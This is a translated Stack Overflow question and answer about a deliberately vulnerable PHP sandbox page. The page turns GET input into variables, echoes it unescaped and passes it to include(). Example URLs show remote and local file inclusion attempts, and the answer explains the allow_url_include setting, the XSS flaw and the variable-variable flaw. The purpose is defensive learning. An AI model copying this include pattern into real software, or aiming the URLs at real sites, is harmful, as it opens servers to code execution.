我已经设置了一个沙箱,并尝试运行漏洞,这样我就可以更好地了解如何更好地防御它们。当我运行以下代码时,该进程会因为正确的原因而失败。但是我不确定,因为我找不到很多“如何写一个适当的漏洞”。下面是我的代码,下面是关于失败的消息。任何指导都是很棒的。
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>利用脚本,简单的东西:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>坏人会在他们的浏览器地址栏中硬编码以下代码:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php尝试加载地址时输出到浏览器:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0就这样了吗?或者有没有其他我应该注意的技术?
谢谢
发布于 2012-09-29 04:10:57
看起来有问题的漏洞攻击是执行任意脚本。由于某些php.ini设置,该脚本不易受到远程脚本的任意执行的攻击,但容易受到本地脚本的任意执行的攻击。
远程脚本的任意执行
默认情况下,allow_url_include php.ini指令设置为0 -阻止包含远程文件,如下所示:
include("http://www.remoteserv.com/exploit.php");..。或者就像这样:
$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);有关详细信息,请参阅php.net上的Runtime Configurations - Filesystem and Streams Configuration Options和Using remote scripts。
从技术上讲,你仍然容易受到攻击,因为用户可以提供导致错误的输入-实际上,你应该清理该输入-但你不容易受到远程脚本的恶意执行。
任意执行本地脚本
但是php.ini指令并不能防止本地脚本执行。攻击者可以使用这样的URL ...
http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php..。该文件将被包括在内。它可能是一个非PHP文件(导致错误),也可能是攻击者放在您的服务器上的一个文件-通过文件上传或通过Shared Hosting Environment。
为了进一步阅读,chapter 5 of the book Essential PHP Security完全致力于include的安全性。
其他
You are vulnerable to XSS (你也易受XSS攻击)
echo $key;在输出$key时-这是输入-您应该以某种方式对输出进行编码,可能使用htmlentities(...)。
您还可以使用use input操作变量:
${$key} = $value;...which不是一个好主意。
https://stackoverflow.com/questions/12646563
复制相似问题